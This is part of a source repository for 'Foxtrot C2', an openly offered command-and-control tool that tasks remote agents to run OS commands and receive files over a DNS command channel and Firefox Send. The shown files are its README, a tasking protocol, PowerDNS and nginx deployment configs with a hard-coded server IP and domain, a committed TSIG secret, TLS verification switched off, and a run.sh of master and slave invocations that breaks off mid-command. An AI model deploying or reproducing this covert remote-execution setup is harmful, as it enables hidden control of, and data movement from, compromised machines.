├── .gitignore ├── LICENSE ├── README.md ├── config └── tsig-test.dat ├── deployment └── pdns │ ├── bind.conf │ ├── pdns-update.py │ ├── pdns.conf │ ├── pdns.local.gsqlite3.conf │ ├── powedns.nginx │ └── record.json ├── docs ├── Foxtrot-Arch.png ├── console.png ├── protocol.md └── run.sh ├── foxtrot.py ├── foxtrot ├── __init__.py ├── fconcmd.py ├── fconstyle.py ├── flib.py └── helpers.py ├── http └── records.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | 103 | # Local 104 | *.old/ 105 | backup/ 106 | data/ 107 | deployment/pdns/ssl/ 108 | http/ 109 | .idea/ 110 | .DS_Store 111 | config/*dat 112 | docs/README-Internal.md 113 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 D.Snezhkov 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Foxtrot C2 2 | 3 | 4 | C&C to deliver content and shuttle command execution instructions from an external agent to an internal agent. 5 | 6 | - Data channel: Firefox Send Private Encrypted Sharing Service 7 | - Command channel: DNS 8 | 9 | 10 | [Architecture](https://github.com/dsnezhkov/foxtrot/wiki/Architecture) 11 | 12 | [Command line examples](https://github.com/dsnezhkov/foxtrot/tree/master/docs/run.sh) 13 | 14 | [Full Usage](https://github.com/dsnezhkov/foxtrot/wiki/Invocation) _Updated_ 15 | 16 | More details in [Wiki](https://github.com/dsnezhkov/foxtrot/wiki) 17 | 18 | 19 | Interactive console example: 20 | 21 | - *Slave perspective* : Gets files or commands from a master, processes and repsonds accordingly. 22 | 23 | [![Slave perspective](https://asciinema.org/a/tNUDFHXnsAajU3l1SHsbqSDCB.png)](https://asciinema.org/a/tNUDFHXnsAajU3l1SHsbqSDCB) 24 | 25 | - *Master perspective* : Instructs a slave to execute command or store a file. 26 | 27 | [![Master perspetive](https://asciinema.org/a/gUtGGPSWfcr1gDfuDmF2PHGQQ.png)](https://asciinema.org/a/gUtGGPSWfcr1gDfuDmF2PHGQQ) 28 | 29 | 30 | ## TODO: 31 | - Lots. TBD 32 | -------------------------------------------------------------------------------- /config/tsig-test.dat: -------------------------------------------------------------------------------- 1 | RMBQzTi1OcHYbCuwFxN5rHqSLl/ECPYW1ileBSzVEvHeNNmOc56coOEy98FXfkVJX9OfQxhhSxtAEQzKreSceA== 2 | -------------------------------------------------------------------------------- /deployment/pdns/bind.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/foxtrot/7b9adc68d111ffbe21ed5fc91bd7042721d741ff/deployment/pdns/bind.conf -------------------------------------------------------------------------------- /deployment/pdns/pdns-update.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | 4 | ## Local update 5 | #uri = 'http://127.0.0.1:8081/api/v1/servers/localhost/zones/s3bucket.stream' 6 | 7 | # Remote update w/Niginx proxy 8 | uri = 'https://138.68.234.147/api/v1/servers/localhost/zones/s3bucket.stream' 9 | headers = { 'X-API-Key': '****' } 10 | 11 | payload = { 12 | "rrsets": [ 13 | { 14 | "name": "0db5fc85eadc1bf5d9e1d6e887bfd9a7._domainkey.s3bucket.stream.", 15 | "type": "TXT", 16 | "ttl": 3600, 17 | "changetype": "REPLACE", 18 | "records": [ 19 | { 20 | "content": '"v=DKIM1; h=sha256; k=rsa; t=y; s=email; p=MIIBIjANBgkqhkiG9w0BAQEAQEAulU+SIDAQAB"', 21 | "disabled": False 22 | } 23 | ] 24 | } 25 | ] 26 | } 27 | 28 | # Valid SSL cert 29 | # r = requests.patch(uri, data=json.dumps(payload), headers=headers) 30 | 31 | # Bypassing self-signed verification 32 | r = requests.patch(uri, data=json.dumps(payload), headers=headers, verify=False) 33 | print r.text 34 | 35 | -------------------------------------------------------------------------------- /deployment/pdns/pdns.conf: -------------------------------------------------------------------------------- 1 | # Autogenerated configuration file template 2 | ################################# 3 | # 8bit-dns Allow 8bit dns queries 4 | # 5 | # 8bit-dns=no 6 | 7 | ################################# 8 | # allow-axfr-ips Allow zonetransfers only to these subnets 9 | # 10 | # allow-axfr-ips=127.0.0.0/8,::1 11 | 12 | ################################# 13 | # allow-dnsupdate-from A global setting to allow DNS updates from these IP ranges. 14 | # 15 | allow-dnsupdate-from=0.0.0.0/0 16 | 17 | ################################# 18 | # allow-notify-from Allow AXFR NOTIFY from these IP ranges. If empty, drop all incoming notifies. 19 | # 20 | # allow-notify-from=0.0.0.0/0,::/0 21 | 22 | ################################# 23 | # allow-recursion List of subnets that are allowed to recurse 24 | # 25 | # allow-recursion=0.0.0.0/0 26 | 27 | ################################# 28 | # allow-unsigned-notify Allow unsigned notifications for TSIG secured domains 29 | # 30 | # allow-unsigned-notify=yes 31 | 32 | ################################# 33 | # allow-unsigned-supermaster Allow supermasters to create zones without TSIG signed NOTIFY 34 | # 35 | # allow-unsigned-supermaster=yes 36 | 37 | ################################# 38 | # also-notify When notifying a domain, also notify these nameservers 39 | # 40 | # also-notify= 41 | 42 | ################################# 43 | # any-to-tcp Answer ANY queries with tc=1, shunting to TCP 44 | # 45 | # any-to-tcp=yes 46 | 47 | ################################# 48 | # api Enable/disable the REST API 49 | # 50 | api=yes 51 | 52 | ################################# 53 | # api-key Static pre-shared authentication key for access to the REST API 54 | # 55 | api-key=******** 56 | 57 | ################################# 58 | # api-logfile Location of the server logfile (used by the REST API) 59 | # 60 | # api-logfile=/var/log/pdns.log 61 | 62 | ################################# 63 | # api-readonly Disallow data modification through the REST API when set 64 | # 65 | # api-readonly=no 66 | 67 | ################################# 68 | # cache-ttl Seconds to store packets in the PacketCache 69 | # 70 | # cache-ttl=20 71 | 72 | ################################# 73 | # carbon-interval Number of seconds between carbon (graphite) updates 74 | # 75 | # carbon-interval=30 76 | 77 | ################################# 78 | # carbon-ourname If set, overrides our reported hostname for carbon stats 79 | # 80 | # carbon-ourname= 81 | 82 | ################################# 83 | # carbon-server If set, send metrics in carbon (graphite) format to this server 84 | # 85 | # carbon-server= 86 | 87 | ################################# 88 | # chroot If set, chroot to this directory for more security 89 | # 90 | # chroot= 91 | 92 | ################################# 93 | # config-dir Location of configuration directory (pdns.conf) 94 | # 95 | # config-dir=/etc/powerdns 96 | 97 | ################################# 98 | # config-name Name of this virtual configuration - will rename the binary image 99 | # 100 | # config-name= 101 | 102 | ################################# 103 | # control-console Debugging switch - don't use 104 | # 105 | # control-console=no 106 | 107 | ################################# 108 | # daemon Operate as a daemon 109 | # 110 | # daemon=no 111 | 112 | ################################# 113 | # default-ksk-algorithms Default KSK algorithms 114 | # 115 | # default-ksk-algorithms=ecdsa256 116 | 117 | ################################# 118 | # default-ksk-size Default KSK size (0 means default) 119 | # 120 | # default-ksk-size=0 121 | 122 | ################################# 123 | # default-soa-edit Default SOA-EDIT value 124 | # 125 | # default-soa-edit= 126 | 127 | ################################# 128 | # default-soa-edit-signed Default SOA-EDIT value for signed zones 129 | # 130 | # default-soa-edit-signed= 131 | 132 | ################################# 133 | # default-soa-mail mail address to insert in the SOA record if none set in the backend 134 | # 135 | # default-soa-mail= 136 | 137 | ################################# 138 | # default-soa-name name to insert in the SOA record if none set in the backend 139 | # 140 | # default-soa-name=a.misconfigured.powerdns.server 141 | 142 | ################################# 143 | # default-ttl Seconds a result is valid if not set otherwise 144 | # 145 | # default-ttl=3600 146 | 147 | ################################# 148 | # default-zsk-algorithms Default ZSK algorithms 149 | # 150 | # default-zsk-algorithms= 151 | 152 | ################################# 153 | # default-zsk-size Default ZSK size (0 means default) 154 | # 155 | # default-zsk-size=0 156 | 157 | ################################# 158 | # direct-dnskey Fetch DNSKEY RRs from backend during DNSKEY synthesis 159 | # 160 | # direct-dnskey=no 161 | 162 | ################################# 163 | # disable-axfr Disable zonetransfers but do allow TCP queries 164 | # 165 | # disable-axfr=no 166 | 167 | ################################# 168 | # disable-axfr-rectify Disable the rectify step during an outgoing AXFR. Only required for regression testing. 169 | # 170 | # disable-axfr-rectify=no 171 | 172 | ################################# 173 | # disable-syslog Disable logging to syslog, useful when running inside a supervisor that logs stdout 174 | # 175 | # disable-syslog=no 176 | 177 | ################################# 178 | # disable-tcp Do not listen to TCP queries 179 | # 180 | # disable-tcp=no 181 | 182 | ################################# 183 | # distributor-threads Default number of Distributor (backend) threads to start 184 | # 185 | # distributor-threads=3 186 | 187 | ################################# 188 | # dname-processing If we should support DNAME records 189 | # 190 | # dname-processing=no 191 | 192 | ################################# 193 | # dnssec-key-cache-ttl Seconds to cache DNSSEC keys from the database 194 | # 195 | # dnssec-key-cache-ttl=30 196 | 197 | ################################# 198 | # dnsupdate Enable/Disable DNS update (RFC2136) support. Default is no. 199 | # 200 | dnsupdate=yes 201 | 202 | ################################# 203 | # do-ipv6-additional-processing Do AAAA additional processing 204 | # 205 | # do-ipv6-additional-processing=yes 206 | 207 | ################################# 208 | # domain-metadata-cache-ttl Seconds to cache domain metadata from the database 209 | # 210 | # domain-metadata-cache-ttl=60 211 | 212 | ################################# 213 | # edns-subnet-processing If we should act on EDNS Subnet options 214 | # 215 | # edns-subnet-processing=no 216 | 217 | ################################# 218 | # entropy-source If set, read entropy from this file 219 | # 220 | # entropy-source=/dev/urandom 221 | 222 | ################################# 223 | # experimental-lua-policy-script Lua script for the policy engine 224 | # 225 | # experimental-lua-policy-script= 226 | 227 | ################################# 228 | # forward-dnsupdate A global setting to allow DNS update packages that are for a Slave domain, to be forwarded to the master. 229 | # 230 | # forward-dnsupdate=yes 231 | 232 | ################################# 233 | # guardian Run within a guardian process 234 | # 235 | # guardian=no 236 | 237 | ################################# 238 | # include-dir Include *.conf files from this directory 239 | # 240 | # include-dir= 241 | include-dir=/etc/powerdns/pdns.d 242 | 243 | ################################# 244 | # launch Which backends to launch and order to query them in 245 | # 246 | # launch= 247 | launch= 248 | 249 | ################################# 250 | # load-modules Load this module - supply absolute or relative path 251 | # 252 | # load-modules= 253 | 254 | ################################# 255 | # local-address Local IP addresses to which we bind 256 | # 257 | # local-address=0.0.0.0 258 | 259 | ################################# 260 | # local-address-nonexist-fail Fail to start if one or more of the local-address's do not exist on this server 261 | # 262 | # local-address-nonexist-fail=yes 263 | 264 | ################################# 265 | # local-ipv6 Local IP address to which we bind 266 | # 267 | # local-ipv6=:: 268 | 269 | ################################# 270 | # local-ipv6-nonexist-fail Fail to start if one or more of the local-ipv6 addresses do not exist on this server 271 | # 272 | # local-ipv6-nonexist-fail=yes 273 | 274 | ################################# 275 | # local-port The port on which we listen 276 | # 277 | # local-port=53 278 | 279 | ################################# 280 | # log-dns-details If PDNS should log DNS non-erroneous details 281 | # 282 | # log-dns-details=no 283 | 284 | ################################# 285 | # log-dns-queries If PDNS should log all incoming DNS queries 286 | # 287 | # log-dns-queries=no 288 | 289 | ################################# 290 | # logging-facility Log under a specific facility 291 | # 292 | # logging-facility= 293 | 294 | ################################# 295 | # loglevel Amount of logging. Higher is more. Do not set below 3 296 | # 297 | # loglevel=4 298 | 299 | ################################# 300 | # lua-prequery-script Lua script with prequery handler (DO NOT USE) 301 | # 302 | # lua-prequery-script= 303 | 304 | ################################# 305 | # master Act as a master 306 | # 307 | # master=no 308 | 309 | ################################# 310 | # max-cache-entries Maximum number of cache entries 311 | # 312 | # max-cache-entries=1000000 313 | 314 | ################################# 315 | # max-ent-entries Maximum number of empty non-terminals in a zone 316 | # 317 | # max-ent-entries=100000 318 | 319 | ################################# 320 | # max-nsec3-iterations Limit the number of NSEC3 hash iterations 321 | # 322 | # max-nsec3-iterations=500 323 | 324 | ################################# 325 | # max-queue-length Maximum queuelength before considering situation lost 326 | # 327 | # max-queue-length=5000 328 | 329 | ################################# 330 | # max-signature-cache-entries Maximum number of signatures cache entries 331 | # 332 | # max-signature-cache-entries= 333 | 334 | ################################# 335 | # max-tcp-connections Maximum number of TCP connections 336 | # 337 | # max-tcp-connections=20 338 | 339 | ################################# 340 | # module-dir Default directory for modules 341 | # 342 | 343 | 344 | ################################# 345 | # negquery-cache-ttl Seconds to store negative query results in the QueryCache 346 | # 347 | # negquery-cache-ttl=60 348 | 349 | ################################# 350 | # no-shuffle Set this to prevent random shuffling of answers - for regression testing 351 | # 352 | # no-shuffle=off 353 | 354 | ################################# 355 | # non-local-bind Enable binding to non-local addresses by using FREEBIND / BINDANY socket options 356 | # 357 | # non-local-bind=no 358 | 359 | ################################# 360 | # only-notify Only send AXFR NOTIFY to these IP addresses or netmasks 361 | # 362 | # only-notify=0.0.0.0/0,::/0 363 | 364 | ################################# 365 | # out-of-zone-additional-processing Do out of zone additional processing 366 | # 367 | # out-of-zone-additional-processing=yes 368 | 369 | ################################# 370 | # outgoing-axfr-expand-alias Expand ALIAS records during outgoing AXFR 371 | # 372 | # outgoing-axfr-expand-alias=no 373 | 374 | ################################# 375 | # overload-queue-length Maximum queuelength moving to packetcache only 376 | # 377 | # overload-queue-length=0 378 | 379 | ################################# 380 | # prevent-self-notification Don't send notifications to what we think is ourself 381 | # 382 | # prevent-self-notification=yes 383 | 384 | ################################# 385 | # query-cache-ttl Seconds to store query results in the QueryCache 386 | # 387 | # query-cache-ttl=20 388 | 389 | ################################# 390 | # query-local-address Source IP address for sending queries 391 | # 392 | # query-local-address=0.0.0.0 393 | 394 | ################################# 395 | # query-local-address6 Source IPv6 address for sending queries 396 | # 397 | # query-local-address6=:: 398 | 399 | ################################# 400 | # query-logging Hint backends that queries should be logged 401 | # 402 | # query-logging=no 403 | 404 | ################################# 405 | # queue-limit Maximum number of milliseconds to queue a query 406 | # 407 | # queue-limit=1500 408 | 409 | ################################# 410 | # receiver-threads Default number of receiver threads to start 411 | # 412 | # receiver-threads=1 413 | 414 | ################################# 415 | # recursive-cache-ttl Seconds to store packets for recursive queries in the PacketCache 416 | # 417 | # recursive-cache-ttl=10 418 | 419 | ################################# 420 | # recursor If recursion is desired, IP address of a recursing nameserver 421 | # 422 | # recursor=no 423 | 424 | ################################# 425 | # retrieval-threads Number of AXFR-retrieval threads for slave operation 426 | # 427 | # retrieval-threads=2 428 | 429 | ################################# 430 | # reuseport Enable higher performance on compliant kernels by using SO_REUSEPORT allowing each receiver thread to open its own socket 431 | # 432 | # reuseport=no 433 | 434 | ################################# 435 | # security-poll-suffix Domain name from which to query security update notifications 436 | # 437 | # security-poll-suffix=secpoll.powerdns.com. 438 | security-poll-suffix= 439 | 440 | ################################# 441 | # server-id Returned when queried for 'server.id' TXT or NSID, defaults to hostname - disabled or custom 442 | # 443 | # server-id= 444 | 445 | ################################# 446 | # setgid If set, change group id to this gid for more security 447 | # 448 | setgid=pdns 449 | 450 | ################################# 451 | # setuid If set, change user id to this uid for more security 452 | # 453 | setuid=pdns 454 | 455 | ################################# 456 | # signing-threads Default number of signer threads to start 457 | # 458 | # signing-threads=3 459 | 460 | ################################# 461 | # slave Act as a slave 462 | # 463 | # slave=no 464 | 465 | ################################# 466 | # slave-cycle-interval Schedule slave freshness checks once every .. seconds 467 | # 468 | # slave-cycle-interval=60 469 | 470 | ################################# 471 | # slave-renotify If we should send out notifications for slaved updates 472 | # 473 | # slave-renotify=no 474 | 475 | ################################# 476 | # soa-expire-default Default SOA expire 477 | # 478 | # soa-expire-default=604800 479 | 480 | ################################# 481 | # soa-minimum-ttl Default SOA minimum ttl 482 | # 483 | # soa-minimum-ttl=3600 484 | 485 | ################################# 486 | # soa-refresh-default Default SOA refresh 487 | # 488 | # soa-refresh-default=10800 489 | 490 | ################################# 491 | # soa-retry-default Default SOA retry 492 | # 493 | # soa-retry-default=3600 494 | 495 | ################################# 496 | # socket-dir Where the controlsocket will live, /var/run when unset and not chrooted 497 | # 498 | # socket-dir= 499 | 500 | ################################# 501 | # tcp-control-address If set, PowerDNS can be controlled over TCP on this address 502 | # 503 | # tcp-control-address= 504 | 505 | ################################# 506 | # tcp-control-port If set, PowerDNS can be controlled over TCP on this address 507 | # 508 | # tcp-control-port=53000 509 | 510 | ################################# 511 | # tcp-control-range If set, remote control of PowerDNS is possible over these networks only 512 | # 513 | # tcp-control-range=127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, ::1/128, fe80::/10 514 | 515 | ################################# 516 | # tcp-control-secret If set, PowerDNS can be controlled over TCP after passing this secret 517 | # 518 | # tcp-control-secret= 519 | 520 | ################################# 521 | # traceback-handler Enable the traceback handler (Linux only) 522 | # 523 | # traceback-handler=yes 524 | 525 | ################################# 526 | # trusted-notification-proxy IP address of incoming notification proxy 527 | # 528 | # trusted-notification-proxy= 529 | 530 | ################################# 531 | # udp-truncation-threshold Maximum UDP response size before we truncate 532 | # 533 | # udp-truncation-threshold=1680 534 | 535 | ################################# 536 | # version-string PowerDNS version in packets - full, anonymous, powerdns or custom 537 | # 538 | # version-string=full 539 | 540 | ################################# 541 | # webserver Start a webserver for monitoring 542 | # 543 | webserver=yes 544 | 545 | ################################# 546 | # webserver-address IP Address of webserver to listen on 547 | # 548 | # webserver-address=127.0.0.1 549 | webserver-address=0.0.0.0 550 | 551 | ################################# 552 | # webserver-allow-from Webserver access is only allowed from these subnets 553 | # 554 | # webserver-allow-from=0.0.0.0/0,::/0 555 | 556 | ################################# 557 | # webserver-password Password required for accessing the webserver 558 | # 559 | # webserver-password= 560 | 561 | ################################# 562 | # webserver-port Port of webserver to listen on 563 | # 564 | webserver-port=8081 565 | 566 | ################################# 567 | # webserver-print-arguments If the webserver should print arguments 568 | # 569 | # webserver-print-arguments=no 570 | 571 | ################################# 572 | # write-pid Write a PID file 573 | # 574 | # write-pid=yes 575 | 576 | ################################# 577 | # xfr-max-received-mbytes Maximum number of megabytes received from an incoming XFR 578 | # 579 | # xfr-max-received-mbytes=100 580 | 581 | 582 | -------------------------------------------------------------------------------- /deployment/pdns/pdns.local.gsqlite3.conf: -------------------------------------------------------------------------------- 1 | # Configuration for gsqlite 2 | # 3 | # Launch gsqlite3 4 | launch+=gsqlite3 5 | 6 | # Database location 7 | gsqlite3-database=/var/lib/powerdns/pdns.sqlite3 8 | gsqlite3-dnssec=on 9 | -------------------------------------------------------------------------------- /deployment/pdns/powedns.nginx: -------------------------------------------------------------------------------- 1 | server { 2 | listen 443 ssl; 3 | server_name _; 4 | 5 | ssl_certificate_key /root/ssl/private/nginx-selfsigned.key; 6 | ssl_certificate /root/ssl/certs/nginx-selfsigned.pem; 7 | 8 | ssl_protocols TLSv1 TLSv1.1 TLSv1.2; 9 | ssl_prefer_server_ciphers on; 10 | ssl_dhparam /root/ssl/certs/dhparam.pem; 11 | ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA'; 12 | # ssl_session_timeout 1d; 13 | # ssl_session_cache shared:SSL:50m; 14 | # ssl_stapling on; 15 | # ssl_stapling_verify on; 16 | # add_header Strict-Transport-Security max-age=15768000; 17 | 18 | 19 | 20 | # Handle anything else 21 | location / { 22 | return 404; 23 | } 24 | # Handle API 25 | location /api/v1/ { 26 | # Pass the request to PowerDNS API 27 | proxy_pass http://127.0.0.1:8081; 28 | 29 | # Set some HTTP headers so that pdns knows where the 30 | # request really came from. X-API-Key should pass without modification 31 | proxy_set_header Host $host; 32 | proxy_set_header X-Real-IP $remote_addr; 33 | proxy_set_header X-Forwarded-Proto $scheme; 34 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 35 | } 36 | } 37 | server { 38 | listen 80; 39 | server_name _; 40 | return 404; 41 | } 42 | -------------------------------------------------------------------------------- /deployment/pdns/record.json: -------------------------------------------------------------------------------- 1 | { 2 | "kind": "Native", 3 | "soa_edit_api": "INCEPTION-INCREMENT", 4 | "masters": [], 5 | "name": "s3bucket.stream.", 6 | "nameservers": ["ns1.s3bucket.stream.", "ns2.s3bucket.srtream."], 7 | "rrsets": [ 8 | { 9 | "name": "s3bucket.stream.", 10 | "type": "SOA", 11 | "ttl": 86400, 12 | "records": [{ 13 | "content": "ns1.s3bucket.stream. hostmaster.s3bucket.stream. 1508130754 10800 3600 604800 1800", 14 | "disabled": false 15 | }] 16 | }, 17 | { 18 | "name": "s3bucket.stream.", 19 | "ttl": 86400, 20 | "type": "NS" 21 | }, 22 | { 23 | "name": "ns1.s3bucket.stream.", 24 | "type": "A", 25 | "ttl": 86400, 26 | "records": [{ 27 | "content": "138.68.234.147", 28 | "disabled": false 29 | }] 30 | }, 31 | { 32 | "name": "ns2.s3bucket.stream.", 33 | "type": "A", 34 | "ttl": 86400, 35 | "records": [{ 36 | "content": "138.68.234.147", 37 | "disabled": false 38 | }] 39 | }, 40 | { 41 | "name": "s47898._domainkey.s3bucket.stream.", 42 | "type": "TXT", 43 | "ttl": 86400, 44 | "records": [{ 45 | "content": "\"v=DKIM1; h=sha256; k=rsa; t=y; s=email; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAulU+SIDAQAB\"", 46 | "disabled": false 47 | }] 48 | } 49 | ] 50 | } 51 | -------------------------------------------------------------------------------- /docs/Foxtrot-Arch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/foxtrot/7b9adc68d111ffbe21ed5fc91bd7042721d741ff/docs/Foxtrot-Arch.png -------------------------------------------------------------------------------- /docs/console.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/foxtrot/7b9adc68d111ffbe21ed5fc91bd7042721d741ff/docs/console.png -------------------------------------------------------------------------------- /docs/protocol.md: -------------------------------------------------------------------------------- 1 | ``` 2 | { 3 | msgtype(t): request(q) | response(s) 4 | jobstate(s): AWAIT(W)|ABUSY(B)|SJOB(J) 5 | Agent sets the following states: 6 | (response from agent) AWAIT: Agent is idle waiting for instructions 7 | (response from agent) ABUSY: Agent has picked up job and executing 8 | 9 | Server sets the following states: 10 | (request from server) SJOB: Server posted new job to the Agent. Agent needs to pick it up upon next checkin 11 | 12 | req_type(c): oscmd(o)|file(f)|mcmd(m) 13 | oscmd: Agent is tasked with executing an os command, inline or path to file with commands (not script). 14 | file: Agent is tasked with saving data to disk in a file 15 | mcmd: Agent is tasked to execute it's maintenance (not implemented) 16 | 17 | resp_type: url 18 | 19 | url(u): Server is to pick up response from agent at this sendservice URL 20 | url(u): Agent is to pick up data for request types from this sendservice URL 21 | 22 | timestamp: date/time UTC epoch (not implemented) 23 | } 24 | 25 | 26 | Sample Request by server to agent to execute OS command, details at the url ... 27 | { 28 | 't':'q', 29 | 's':'J', 30 | 'c' :'o', 31 | 'u': 'http://...........................' 32 | } 33 | 34 | { 't':'q', 's':'J', 'c' :'o' 'u': 'http://...........................' } 35 | ``` 36 | 37 | 38 | -------------------------------------------------------------------------------- /docs/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | AGENT="agent_195694e2" 4 | TSIGNAME="test2" 5 | TSIGRDATA="../config/tsig-test2.dat" 6 | NSERVER="138.68.234.147" 7 | DOMAIN="s3bucket.stream" 8 | AGENTPATH="../foxtrot.py" 9 | 10 | echo "============= Sending Data File==============" 11 | echo "Master: Sending data file" 12 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 13 | --nserver ${NSERVER} --domain ${DOMAIN} --role master \ 14 | --verbose info send --operation dfile --dfpath /tmp/datafile2 15 | 16 | echo "Slave: Processing request" 17 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 18 | --nserver ${NSERVER} --domain ${DOMAIN} --role slave \ 19 | --verbose info recv 20 | 21 | echo "============= Sending OS Execution (file) ==============" 22 | echo "Master: Posting os exec() instructions" 23 | 24 | echo "test" > /tmp/os.cmd2 25 | echo ">>>" 26 | cat /tmp/os.cmd2 27 | echo "<<<" 28 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 29 | --nserver ${NSERVER} --domain ${DOMAIN} --role master \ 30 | --verbose info send --operation ocmd --ofpath /tmp/os.cmd2 31 | 32 | echo "Slave: Processing request" 33 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 34 | --nserver ${NSERVER} --domain ${DOMAIN} --role slave \ 35 | --verbose info recv 36 | 37 | echo "Master: Processing response" 38 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 39 | --nserver ${NSERVER} --domain ${DOMAIN} --role master \ 40 | --verbose info recv 41 | 42 | echo "============= Sending OS Execution (command line) ==============" 43 | echo "Master: Posting os exec() instructions" 44 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 45 | --nserver ${NSERVER} --domain ${DOMAIN} --role master \ 46 | --verbose info send --operation ocmd --ocmd 'ps -ef | grep bash' 47 | 48 | echo "Slave: Showing raw record" 49 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 50 | --nserver ${NSERVER} --domain ${DOMAIN} --role slave \ 51 | --verbose info agent --operation show 52 | 53 | echo "Slave: Peeking at request" 54 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 55 | --nserver ${NSERVER} --domain ${DOMAIN} --role slave \ 56 | --verbose info agent --operation peek 57 | 58 | echo "Slave: Processing request" 59 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 60 | --nserver ${NSERVER} --domain ${DOMAIN} --role slave \ 61 | --verbose info recv 62 | 63 | echo "Master: Processing response" 64 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 65 | --nserver ${NSERVER} --domain ${DOMAIN} --role master \ 66 | 